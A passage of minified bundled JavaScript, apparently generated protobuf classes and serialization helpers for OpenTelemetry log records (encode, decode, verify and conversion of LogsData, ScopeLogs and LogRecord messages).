this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.logs.v1.LogsData;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.resourceLogs&&$.resourceLogs.length))$.resourceLogs=[];$.resourceLogs.push(uA.opentelemetry.proto.logs.v1.ResourceLogs.decode(H,H.uint32()));break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.resourceLogs!=null&&H.hasOwnProperty("resourceLogs")){if(!Array.isArray(H.resourceLogs))return"resourceLogs: array expected";for(var J=0;J<H.resourceLogs.length;++J){var O=uA.opentelemetry.proto.logs.v1.ResourceLogs.verify(H.resourceLogs[J]);if(O)return"resourceLogs."+O}}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.logs.v1.LogsData)return H;var J=new uA.opentelemetry.proto.logs.v1.LogsData;if(H.resourceLogs){if(!Array.isArray(H.resourceLogs))throw TypeError(".opentelemetry.proto.logs.v1.LogsData.resourceLogs: array expected");J.resourceLogs=[];for(var O=0;O<H.resourceLogs.length;++O){if(typeof H.resourceLogs[O]!=="object")throw TypeError(".opentelemetry.proto.logs.v1.LogsData.resourceLogs: object expected");J.resourceLogs[O]=uA.opentelemetry.proto.logs.v1.ResourceLogs.fromObject(H.resourceLogs[O])}}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.resourceLogs=[];if(H.resourceLogs&&H.resourceLogs.length){O.resourceLogs=[];for(var X=0;X<H.resourceLogs.length;++X)O.resourceLogs[X]=uA.opentelemetry.proto.logs.v1.ResourceLogs.toObject(H.resourceLogs[X],J)}return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.logs.v1.LogsData"},z}(),Y.ResourceLogs=function(){function z(w){if(this.scopeLogs=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.resource=null,z.prototype.scopeLogs=FA.emptyArray,z.prototype.schemaUrl=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.resource!=null&&Object.hasOwnProperty.call(H,"resource"))uA.opentelemetry.proto.resource.v1.Resource.encode(H.resource,J.uint32(10).fork()).ldelim();if(H.scopeLogs!=null&&H.scopeLogs.length)for(var O=0;O<H.scopeLogs.length;++O)uA.opentelemetry.proto.logs.v1.ScopeLogs.encode(H.scopeLogs[O],J.uint32(18).fork()).ldelim();if(H.schemaUrl!=null&&Object.hasOwnProperty.call(H,"schemaUrl"))J.uint32(26).string(H.schemaUrl);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.logs.v1.ResourceLogs;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.resource=uA.opentelemetry.proto.resource.v1.Resource.decode(H,H.uint32());break}case 2:{if(!($.scopeLogs&&$.scopeLogs.length))$.scopeLogs=[];$.scopeLogs.push(uA.opentelemetry.proto.logs.v1.ScopeLogs.decode(H,H.uint32()));break}case 3:{$.schemaUrl=H.string();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.resource!=null&&H.hasOwnProperty("resource")){var J=uA.opentelemetry.proto.resource.v1.Resource.verify(H.resource);if(J)return"resource."+J}if(H.scopeLogs!=null&&H.hasOwnProperty("scopeLogs")){if(!Array.isArray(H.scopeLogs))return"scopeLogs: array expected";for(var O=0;O<H.scopeLogs.length;++O){var J=uA.opentelemetry.proto.logs.v1.ScopeLogs.verify(H.scopeLogs[O]);if(J)return"scopeLogs."+J}}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl")){if(!FA.isString(H.schemaUrl))return"schemaUrl: string expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.logs.v1.ResourceLogs)return H;var J=new uA.opentelemetry.proto.logs.v1.ResourceLogs;if(H.resource!=null){if(typeof H.resource!=="object")throw TypeError(".opentelemetry.proto.logs.v1.ResourceLogs.resource: object expected");J.resource=uA.opentelemetry.proto.resource.v1.Resource.fromObject(H.resource)}if(H.scopeLogs){if(!Array.isArray(H.scopeLogs))throw TypeError(".opentelemetry.proto.logs.v1.ResourceLogs.scopeLogs: array expected");J.scopeLogs=[];for(var O=0;O<H.scopeLogs.length;++O){if(typeof H.scopeLogs[O]!=="object")throw TypeError(".opentelemetry.proto.logs.v1.ResourceLogs.scopeLogs: object expected");J.scopeLogs[O]=uA.opentelemetry.proto.logs.v1.ScopeLogs.fromObject(H.scopeLogs[O])}}if(H.schemaUrl!=null)J.schemaUrl=String(H.schemaUrl);return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.scopeLogs=[];if(J.defaults)O.resource=null,O.schemaUrl="";if(H.resource!=null&&H.hasOwnProperty("resource"))O.resource=uA.opentelemetry.proto.resource.v1.Resource.toObject(H.resource,J);if(H.scopeLogs&&H.scopeLogs.length){O.scopeLogs=[];for(var X=0;X<H.scopeLogs.length;++X)O.scopeLogs[X]=uA.opentelemetry.proto.logs.v1.ScopeLogs.toObject(H.scopeLogs[X],J)}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl"))O.schemaUrl=H.schemaUrl;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.logs.v1.ResourceLogs"},z}(),Y.ScopeLogs=function(){function z(w){if(this.logRecords=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.scope=null,z.prototype.logRecords=FA.emptyArray,z.prototype.schemaUrl=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.scope!=null&&Object.hasOwnProperty.call(H,"scope"))uA.opentelemetry.proto.common.v1.InstrumentationScope.encode(H.scope,J.uint32(10).fork()).ldelim();if(H.logRecords!=null&&H.logRecords.length)for(var O=0;O<H.logRecords.length;++O)uA.opentelemetry.proto.logs.v1.LogRecord.encode(H.logRecords[O],J.uint32(18).fork()).ldelim();if(H.schemaUrl!=null&&Object.hasOwnProperty.call(H,"schemaUrl"))J.uint32(26).string(H.schemaUrl);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.logs.v1.ScopeLogs;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.scope=uA.opentelemetry.proto.common.v1.InstrumentationScope.decode(H,H.uint32());break}case 2:{if(!($.logRecords&&$.logRecords.length))$.logRecords=[];$.logRecords.push(uA.opentelemetry.proto.logs.v1.LogRecord.decode(H,H.uint32()));break}case 3:{$.schemaUrl=H.string();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.scope!=null&&H.hasOwnProperty("scope")){var J=uA.opentelemetry.proto.common.v1.InstrumentationScope.verify(H.scope);if(J)return"scope."+J}if(H.logRecords!=null&&H.hasOwnProperty("logRecords")){if(!Array.isArray(H.logRecords))return"logRecords: array expected";for(var O=0;O<H.logRecords.length;++O){var J=uA.opentelemetry.proto.logs.v1.LogRecord.verify(H.logRecords[O]);if(J)return"logRecords."+J}}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl")){if(!FA.isString(H.schemaUrl))return"schemaUrl: string expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.logs.v1.ScopeLogs)return H;var J=new uA.opentelemetry.proto.logs.v1.ScopeLogs;if(H.scope!=null){if(typeof H.scope!=="object")throw TypeError(".opentelemetry.proto.logs.v1.ScopeLogs.scope: object expected");J.scope=uA.opentelemetry.proto.common.v1.InstrumentationScope.fromObject(H.scope)}if(H.logRecords){if(!Array.isArray(H.logRecords))throw TypeError(".opentelemetry.proto.logs.v1.ScopeLogs.logRecords: array expected");J.logRecords=[];for(var O=0;O<H.logRecords.length;++O){if(typeof H.logRecords[O]!=="object")throw TypeError(".opentelemetry.proto.logs.v1.ScopeLogs.logRecords: object expected");J.logRecords[O]=uA.opentelemetry.proto.logs.v1.LogRecord.fromObject(H.logRecords[O])}}if(H.schemaUrl!=null)J.schemaUrl=String(H.schemaUrl);return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.logRecords=[];if(J.defaults)O.scope=null,O.schemaUrl="";if(H.scope!=null&&H.hasOwnProperty("scope"))O.scope=uA.opentelemetry.proto.common.v1.InstrumentationScope.toObject(H.scope,J);if(H.logRecords&&H.logRecords.length){O.logRecords=[];for(var X=0;X<H.logRecords.length;++X)O.logRecords[X]=uA.opentelemetry.proto.logs.v1.LogRecord.toObject(H.logRecords[X],J)}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl"))O.schemaUrl=H.schemaUrl;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.logs.v1.ScopeLogs"},z}(),Y.SeverityNumber=function(){var z={},w=Object.create(z);return w[z[0]="SEVERITY_NUMBER_UNSPECIFIED"]=0,w[z[1]="SEVERITY_NUMBER_TRACE"]=1,w[z[2]="SEVERITY_NUMBER_TRACE2"]=2,w[z[3]="SEVERITY_NUMBER_TRACE3"]=3,w[z[4]="SEVERITY_NUMBER_TRACE4"]=4,w[z[5]="SEVERITY_NUMBER_DEBUG"]=5,w[z[6]="SEVERITY_NUMBER_DEBUG2"]=6,w[z[7]="SEVERITY_NUMBER_DEBUG3"]=7,w[z[8]="SEVERITY_NUMBER_DEBUG4"]=8,w[z[9]="SEVERITY_NUMBER_INFO"]=9,w[z[10]="SEVERITY_NUMBER_INFO2"]=10,w[z[11]="SEVERITY_NUMBER_INFO3"]=11,w[z[12]="SEVERITY_NUMBER_INFO4"]=12,w[z[13]="SEVERITY_NUMBER_WARN"]=13,w[z[14]="SEVERITY_NUMBER_WARN2"]=14,w[z[15]="SEVERITY_NUMBER_WARN3"]=15,w[z[16]="SEVERITY_NUMBER_WARN4"]=16,w[z[17]="SEVERITY_NUMBER_ERROR"]=17,w[z[18]="SEVERITY_NUMBER_ERROR2"]=18,w[z[19]="SEVERITY_NUMBER_ERROR3"]=19,w[z[20]="SEVERITY_NUMBER_ERROR4"]=20,w[z[21]="SEVERITY_NUMBER_FATAL"]=21,w[z[22]="SEVERITY_NUMBER_FATAL2"]=22,w[z[23]="SEVERITY_NUMBER_FATAL3"]=23,w[z[24]="SEVERITY_NUMBER_FATAL4"]=24,w}(),Y.LogRecordFlags=function(){var z={},w=Object.create(z);return w[z[0]="LOG_RECORD_FLAGS_DO_NOT_USE"]=0,w[z[255]="LOG_RECORD_FLAGS_TRACE_FLAGS_MASK"]=255,w}(),Y.LogRecord=function(){function z(w){if(this.attributes=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.timeUnixNano=null,z.prototype.observedTimeUnixNano=null,z.prototype.severityNumber=null,z.prototype.severityText=null,z.prototype.body=null,z.prototype.attributes=FA.emptyArray,z.prototype.droppedAttributesCount=null,z.prototype.flags=null,z.prototype.traceId=null,z.prototype.spanId=null,z.prototype.eventName=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.timeUnixNano!=null&&Object.hasOwnProperty.call(H,"timeUnixNano"))J.uint32(9).fixed64(H.timeUnixNano);if(H.severityNumber!=null&&Object.hasOwnProperty.call(H,"severityNumber"))J.uint32(16).int32(H.severityNumber);if(H.severityText!=null&&Object.hasOwnProperty.call(H,"severityText"))J.uint32(26).string(H.severityText);if(H.body!=null&&Object.hasOwnProperty.call(H,"body"))uA.opentelemetry.proto.common.v1.AnyValue.encode(H.body,J.uint32(42).fork()).ldelim();if(H.attributes!=null&&H.attributes.length)for(var O=0;O<H.attributes.length;++O)uA.opentelemetry.proto.common.v1.KeyValue.encode(H.attributes[O],J.uint32(50).fork()).ldelim();if(H.droppedAttributesCount!=null&&Object.hasOwnProperty.call(H,"droppedAttributesCount"))J.uint32(56).uint32(H.droppedAttributesCount);if(H.flags!=null&&Object.hasOwnProperty.call(H,"flags"))J.uint32(69).fixed32(H.flags);if(H.traceId!=null&&Object.hasOwnProperty.call(H,"traceId"))J.uint32(74).bytes(H.traceId);if(H.spanId!=null&&Object.hasOwnProperty.call(H,"spanId"))J.uint32(82).bytes(H.spanId);if(H.observedTimeUnixNano!=null&&Object.hasOwnProperty.call(H,"observedTimeUnixNano"))J.uint32(89).fixed64(H.observedTimeUnixNano);if(H.eventName!=null&&Object.hasOwnProperty.call(H,"eventName"))J.uint32(98).string(H.eventName);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.logs.v1.LogRecord;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.timeUnixNano=H.fixed64();break}case 11:{$.observedTimeUnixNano=H.fixed64();break}case 2:{$.severityNumber=H.int32();break}case 3:{$.severityText=H.string();break}case 5:{$.body=uA.opentelemetry.proto.common.v1.AnyValue.decode(H,H.uint32());break}case 6:{if(!($.attributes&&$.attributes.length))$.attributes=[];$.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(H,H.uint32()));break}case 7:{$.droppedAttributesCount=H.uint32();break}case 8:{$.flags=H.fixed32();break}case 9:{$.traceId=H.bytes();break}case 10:{$.spanId=H.bytes();break}case 12:{$.eventName=H.string();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.timeUnixNano!=null&&H.hasOwnProperty("timeUnixNano")){if(!FA.isInteger(H.timeUnixNano)&&!(H.timeUnixNano&&FA.isInteger(H.timeUnixNano.low)&&FA.isInteger(H.timeUnixNano.high)))return"timeUnixNano: integer|Long expected"}if(H.observedTimeUnixNano!=null&&H.hasOwnProperty("observedTimeUnixNano")){if(!FA.isInteger(H.observedTimeUnixNano)&&!(H.observedTimeUnixNano&&FA.isInteger(H.observedTimeUnixNano.low)&&FA.isInteger(H.observedTimeUnixNano.high)))return"observedTimeUnixNano: integer|Long expected"}if(H.severityNumber!=null&&H.hasOwnProperty("severityNumber"))switch(H.severityNumber){default:return"severityNumber: enum value expected";case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:case 8:case 9:case 10:case 11:case 12:case 13:case 14:case 15:case 16:case 17:case 18:case 19:case 20:case 21:case 22:case 23:case 24:break}if(H.severityText!=null&&H.hasOwnProperty("severityText")){if(!FA.isString(H.severityText))return"severityText: string expected"}if(H.body!=null&&H.hasOwnProperty("body")){var J=uA.opentelemetry.proto.common.v1.AnyValue.verify(H.body);if(J)return"body."+J}if(H.attributes!=null&&H.hasOwnProperty("attributes")){if(!Array.isArray(H.attributes))return"attributes: array expected";for(var O=0;O<H.attributes.length;++O){var J=uA.opentelemetry.proto.common.v1.KeyValue.verify(H.attributes[O]);if(J)return"attributes."+J}}if(H.droppedAttributesCount!=null&&H.hasOwnProperty("droppedAttributesCount")){if(!FA.isInteger(H.droppedAttributesCount))return"droppedAttributesCount: integer expected"}if(H.flags!=null&&H.hasOwnProperty("flags")){if(!FA.isInteger(H.flags))return"flags: integer expected"}if(H.traceId!=null&&H.hasOwnProperty("traceId")){if(!(H.traceId&&typeof H.traceId.length==="number"||FA.isString(H.traceId)))return"traceId: buffer expected"}if(H.spanId!=null&&H.hasOwnProperty("spanId")){if(!(H.spanId&&typeof H.spanId.length==="number"||FA.isString(H.spanId)))return"spanId: buffer expected"}if(H.eventName!=null&&H.hasOwnProperty("eventName")){if(!FA.isString(H.eventName))return"eventName: string expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.logs.v1.LogRecord)return H;var J=new uA.opentelemetry.proto.logs.v1.LogRecord;if(H.timeUnixNano!=null){if(FA.Long)(J.timeUnixNano=FA.Long.fromValue(H.timeUnixNano)).unsigned=!1;else if(typeof H.timeUnixNano==="string")J.timeUnixNano=parseInt(H.timeUnixNano,10);else if(typeof H.timeUnixNano==="number")J.timeUnixNano=H.timeUnixNano;else if(typeof H.timeUnixNano==="object")J.timeUnixNano=new FA.LongBits(H.timeUnixNano.low>>>0,H.timeUnixNano.high>>>0).toNumber()}if(H.observedTimeUnixNano!=null){if(FA.Long)(J.observedTimeUnixNano=FA.Long.fromValue(H.observedTimeUnixNano)).unsigned=!1;else if(typeof H.observedTimeUnixNano==="string")J.observedTimeUnixNano=parseInt(H.observedTimeUnixNano,10);else if(typeof H.observedTimeUnixNano==="number")J.observedTimeUnixNano=H.observedTimeUnixNano;else if(typeof H.observedTimeUnixNano==="object")J.observedTimeUnixNano=new FA.LongBits(H.observedTimeUnixNano.low>>>0,H.observedTimeUnixNano.high>>>0).toNumber()}switch(H.severityNumber){default:if(typeof H.severityNumber==="number"){J.severityNumber=H.severityNumber;break}break;case"SEVERITY_NUMBER_UNSPECIFIED":case 0:J.severityNumber=0;break;case"SEVERITY_NUMBER_TRACE":case 1:J.severityNumber=1;break;case"SEVERITY_NUMBER_TRACE2":case 2:J.severityNumber=2;break;case"SEVERITY_NUMBER_TRACE3":case 3:J.severityNumber=3;break;case"SEVERITY_NUMBER_TRACE4":case 4:J.severityNumber=4;break;case"SEVERITY_NUMBER_DEBUG":case 5:J.severityNumber=5;break;case"SEVERITY_NUMBER_DEBUG2":case 6:J.severityNumber=6;break;case"SEVERITY_NUMBER_DEBUG3":case 7:J.severityNumber=7;break;case"SEVERITY_NUMBER_DEBUG4":case 8:J.severityNumber=8;break;case"SEVERITY_NUMBER_INFO":case 9:J.severityNumber=9;break;case"SEVERITY_NUMBER_INFO2":case 10:J.severityNumber=10;break;case"SEVERITY_NUMBER_INFO3":case 11:J.severityNumber=11;break;case"SEVERITY_NUMBER_INFO4":case 12:J.severityNumber=12;break;case"SEVERITY_NUMBER_WARN":case 13:J.severityNumber=13;break;case"SEVERITY_NUMBER_WARN2":case 14:J.severityNumber=14;break;case"SEVERITY_NUMBER_WARN3":case 15:J.severityNumber=15;break;case"SEVERITY_NUMBER_WARN4":case 16:J.severityNumber=16;break;case"SEVERITY_NUMBER_ERROR":case 17:J.severityNumber=17;break;case"SEVERITY_NUMBER_ERROR2":case 18:J.severityNumber=18;break;case"SEVERITY_NUMBER_ERROR3":case 19:J.severityNumber=19;break;case"SEVERITY_NUMBER_ERROR4":case 20:J.severityNumber=20;break;case"SEVERITY_NUMBER_FATAL":case 21:J.severityNumber=21;break;case"SEVERITY_NUMBER_FATAL2":case 22:J.severityNumber=22;break;case"SEVERITY_NUMBER_FATAL3":case 23:J.severityNumber=23;break;case"SEVERITY_NUMBER_FATAL4":case 24:J.severityNumber=24;break}if(H.severityText!=null)J.severityText=String(H.severityText);if(H.body!=null){if(typeof H.body!=="object")throw TypeError(".opentelemetry.proto.logs.v1.LogRecord.body: object expected");J.body=uA.opentelemetry.proto.common.v1.AnyValue.fromObject(H.body)}if(H.attributes){if(!Array.isArray(H.attributes))throw TypeError(".opentelemetry.proto.logs.v1.LogRecord.attributes: array expected");J.attributes=[];for(var O=0;O<H.attributes.length;++O){if(typeof H.attributes[O]!=="object")throw TypeError(".opentelemetry.proto.logs.v1.LogRecord.attributes: object expected");J.attributes[O]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(H.attributes[O])}}if(H.droppedAttributesCount!=null)J.droppedAttributesCount=H.droppedAttributesCount>>>0;if(H.flags!=null)J.flags=H.flags>>>0;if(H.traceId!=null){if(typeof H.traceId==="string")FA.base64.decode(H.traceId,J.traceId=FA.newBuffer(FA.base64.length(H.traceId)),0);else if(H.traceId.length>=0)J.traceId=H.traceId}if(H.spanId!=null){if(typeof H.spanId==="string")FA.base64.decode(H.spanId,J.spanId=FA.newBuffer(FA.base64.length(H.spanId)),0);else if(H.spanId.length>=0)J.spanId=H.spanId}if(H.eventName!=null)J.eventName=String(H.eventName);return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.attributes=[];if(J.defaults){if(FA.Long){var X=new FA.Long(0,0,!1);O.timeUnixNano=J.longs===String?X.toString():J.longs===Number?X.toNumber():X}else O.timeUnixNano=J.longs===String?"0":0;if(O.severityNumber=J.enums===String?"SEVERITY_NUMBER_UNSPECIFIED":0,O.severityText="",O.body=null,O.droppedAttributesCount=0,O.flags=0,J.bytes===String)O.traceId="";else if(O.traceId=[],J.bytes!==Array)O.traceId=FA.newBuffer(O.traceId);if(J.bytes===String)O.spanId="";else if(O.spanId=[],J.bytes!==Array)O.spanId=FA.newBuffer(O.spanId);if(FA.Long){var X=new FA.Long(0,0,!1);O.observedTimeUnixNano=J.longs===String?X.toString():J.longs===Number?X.toNumber():X}else O.observedTimeUnixNano=J.longs===String?"0":0;O.eventName=""}if(H.timeUnixNano!=null&&H.hasOwnProperty("timeUnixNano"))if(typeof H.timeUnixNano==="number")O.timeUnixNano=J.longs===String?String(H.timeUnixNano):H.timeUnixNano;else O.timeUnixNano=J.longs===String?FA.Long.prototype.toString.call(H.timeUnixNano):J.longs===Number?new FA.LongBits(H.timeUnixNano.low>>>0,H.timeUnixNano.high>>>0).toNumber():H.timeUnixNano;if(H.severityNumber!=null&&H.hasOwnProperty("severityNumber"))O.severityNumber=J.enums===String?uA.opentelemetry.proto.logs.v1.SeverityNumber[H.severityNumber]===void 0?H.severityNumber:uA.opentelemetry.proto.logs.v1.SeverityNumber[H.severityNumber]:H.severityNumber;if(H.severityText!=null&&H.hasOwnProperty("severityText"))O.severityText=H.severityText;if(H.body!=null&&H.hasOwnProperty("body"))O.body=uA.opentelemetry.proto.common.v1.AnyValue.toObject(H.body,J);if(H.attributes&&H.attributes.length){O.attributes=[];for(var $=0;$<H.attributes.length;++$)O.attributes[$]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(H.attributes[$],J)}if(H.droppedAttributesCount!=null&&H.hasOwnProperty("droppedAttributesCount"))O.droppedAttributesCount=H.droppedAttributesCount;if(H.flags!=null&&H.hasOwnProperty("flags"))O.flags=H.flags;if(H.traceId!=null&&H.hasOwnProperty("traceId"))O.traceId=J.bytes===String?FA.base64.encode(H.traceId,0,H.traceId.length):J.bytes===Array?Array.prototype.slice.call(H.traceId):H.traceId;if(H.spanId!=null&&H.hasOwnProperty("spanId"))O.spanId=J.bytes===String?FA.base64.encode(H.spanId,0,H.spanId.length):J.bytes===Array?Array.prototype.slice.call(H.spanId):H.spanId;if(H.observedTimeUnixNano!=null&&H.hasOwnProperty("observedTimeUnixNano"))if(typeof H.observedTimeUnixNano==="number")O.observedTimeUnixNano=J.longs===String?String(H.observedTimeUnixNano):H.observedTimeUnixNano;else O.observedTimeUnixNano=J.longs===String?FA.Long.prototype.toString.call(H.observedTimeUnixNano):J.longs===Number?new FA.LongBits(H.observedTimeUnixNano.low>>>0,H.observedTimeUnixNano.high>>>0).toNumber():H.observedTimeUnixNano;if(H.eventName!=null&&H.hasOwnProperty("eventName"))O.eventName=H.eventName;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.logs.v1.LogRecord"},z}(),Y}(),q}(),K}(),A}();Ig7.exports=uA});var xg7=v((hg7)=>{Object.defineProperty(hg7,"__esModule",{value:!0});hg7.hexToBinary=void 0;function Sg7(A){if(A>=48&&A<=57)return A-48;if(A>=97&&A<=102)return A-87;return A-55}function l62(A){let K=new Uint8Array(A.length/2),q=0;for(let Y=0;Y<A.length;Y+=2){let z=Sg7(A.charCodeAt(Y)),w=Sg7(A.charCodeAt(Y+1));K[q++]=z<<4|w}return K}hg7.hexToBinary=l62});var WD1=v((Fg7)=>{Object.defineProperty(Fg7,"__esModule",{value:!0});Fg7.getOtlpEncoder=Fg7.encodeAsString=Fg7.encodeAsLongBits=Fg7.toLongBits=Fg7.hrTimeToNanos=void 0;var i62=P9(),HE6=xg7();function JE6(A){let K=BigInt(1e9);return BigInt(Math.trunc(A[0]))*K+BigInt(Math.trunc(A[1]))}Fg7.hrTimeToNanos=JE6;function Bg7(A){let K=Number(BigInt.asUintN(32,A)),q=Number(BigInt.asUintN(32,A>>BigInt(32)));return{low:K,high:q}}Fg7.toLongBits=Bg7;function OE6(A){let K=JE6(A);return Bg7(K)}Fg7.encodeAsLongBits=OE6;function mg7(A){return JE6(A).toString()}Fg7.encodeAsString=mg7;var n62=typeof BigInt<"u"?mg7:i62.hrTimeToNanoseconds;function ug7(A){return A}function gg7(A){if(A===void 0)return;return(0,HE6.hexToBinary)(A)}var r62={encodeHrTime:OE6,encodeSpanContext:HE6.hexToBinary,encodeOptionalSpanContext:gg7};function o62(A){if(A===void 0)return r62;let K=A.useLongBits??!0,q=A.useHex??!1;return{encodeHrTime:K?OE6:n62,encodeSpanContext:q?ug7:HE6.hexToBinary,encodeOptionalSpanContext:q?ug7:gg7}}Fg7.getOtlpEncoder=o62});var DD1=v((pg7)=>{Object.defineProperty(pg7,"__esModule",{value:!0});pg7.toAnyValue=pg7.toKeyValue=pg7.toAttributes=pg7.createInstrumentationScope=pg7.createResource=void 0;function A82(A){let K={attributes:Ug7(A.attributes),droppedAttributesCount:0},q=A.schemaUrl;if(q&&q!=="")K.schemaUrl=q;return K}pg7.createResource=A82;function K82(A){return{name:A.name,version:A.version}}pg7.createInstrumentationScope=K82;function Ug7(A){return Object.keys(A).map((K)=>XE6(K,A[K]))}pg7.toAttributes=Ug7;function XE6(A,K){return{key:A,value:$E6(K)}}pg7.toKeyValue=XE6;function $E6(A){let K=typeof A;if(K==="string")return{stringValue:A};if(K==="number"){if(!Number.isInteger(A))return{doubleValue:A};return{intValue:A}}if(K==="boolean")return{boolValue:A};if(A instanceof Uint8Array)return{bytesValue:A};if(Array.isArray(A))return{arrayValue:{values:A.map($E6)}};if(K==="object"&&A!=null)return{kvlistValue:{values:Object.entries(A).map(([q,Y])=>XE6(q,Y))}};return{}}pg7.toAnyValue=$E6});var _E6=v((lg7)=>{Object.defineProperty(lg7,"__esModule",{value:!0});lg7.toLogAttributes=lg7.createExportLogsServiceRequest=void 0;var H82=WD1(),jD1=DD1();function J82(A,K){let q=(0,H82.getOtlpEncoder)(K);return{resourceLogs:X82(A,q)}}lg7.createExportLogsServiceRequest=J82;function O82(A){let K=new Map;for(let q of A){let{resource:Y,instrumentationScope:{name:z,version:w="",schemaUrl:H=""}}=q,J=K.get(Y);if(!J)J=new Map,K.set(Y,J);let O=`${z}@${w}:${H}`,X=J.get(O);if(!X)X=[],J.set(O,X);X.push(q)}return K}function X82(A,K){let q=O82(A);return Array.from(q,([Y,z])=>{let w=(0,jD1.createResource)(Y);return{resource:w,scopeLogs:Array.from(z,([,H])=>{return{scope:(0,jD1.createInstrumentationScope)(H[0].instrumentationScope),logRecords:H.map((J)=>$82(J,K)),schemaUrl:H[0].instrumentationScope.schemaUrl}}),schemaUrl:w.schemaUrl}})}function $82(A,K){return{timeUnixNano:K.encodeHrTime(A.hrTime),observedTimeUnixNano:K.encodeHrTime(A.hrTimeObserved),severityNumber:_82(A.severityNumber),severityText:A.severityText,body:(0,jD1.toAnyValue)(A.body),eventName:A.eventName,attributes:cg7(A.attributes),droppedAttributesCount:A.droppedAttributesCount,flags:A.spanContext?.traceFlags,traceId:K.encodeOptionalSpanContext(A.spanContext?.traceId),spanId:K.encodeOptionalSpanContext(A.spanContext?.spanId)}}function _82(A){return A}function cg7(A){return Object.keys(A).map((K)=>(0,jD1.toKeyValue)(K,A[K]))}lg7.toLogAttributes=cg7});var ag7=v((rg7)=>{Object.defineProperty(rg7,"__esModule",{value:!0});rg7.ProtobufLogsSerializer=void 0;var ng7=ZD1(),Z82=_E6(),W82=ng7.opentelemetry.proto.collector.logs.v1.ExportLogsServiceResponse,D82=ng7.opentelemetry.proto.collector.logs.v1.ExportLogsServiceRequest;rg7.ProtobufLogsSerializer={serializeRequest:(A)=>{let K=(0,Z82.createExportLogsServiceRequest)(A);return D82.encode(K).finish()},deserializeResponse:(A)=>{return W82.decode(A)}}});var sg7=v((GE6)=>{Object.defineProperty(GE6,"__esModule",{value:!0});GE6.ProtobufLogsSerializer=void 0;var j82=ag7();Object.defineProperty(GE6,"ProtobufLogsSerializer",{enumerable:!0,get:function(){return j82.ProtobufLogsSerializer}})});var eg7=v((tg7)=>{Object.defineProperty(tg7,"__esModule",{value:!0});tg7.EAggregationTemporality=void 0;var 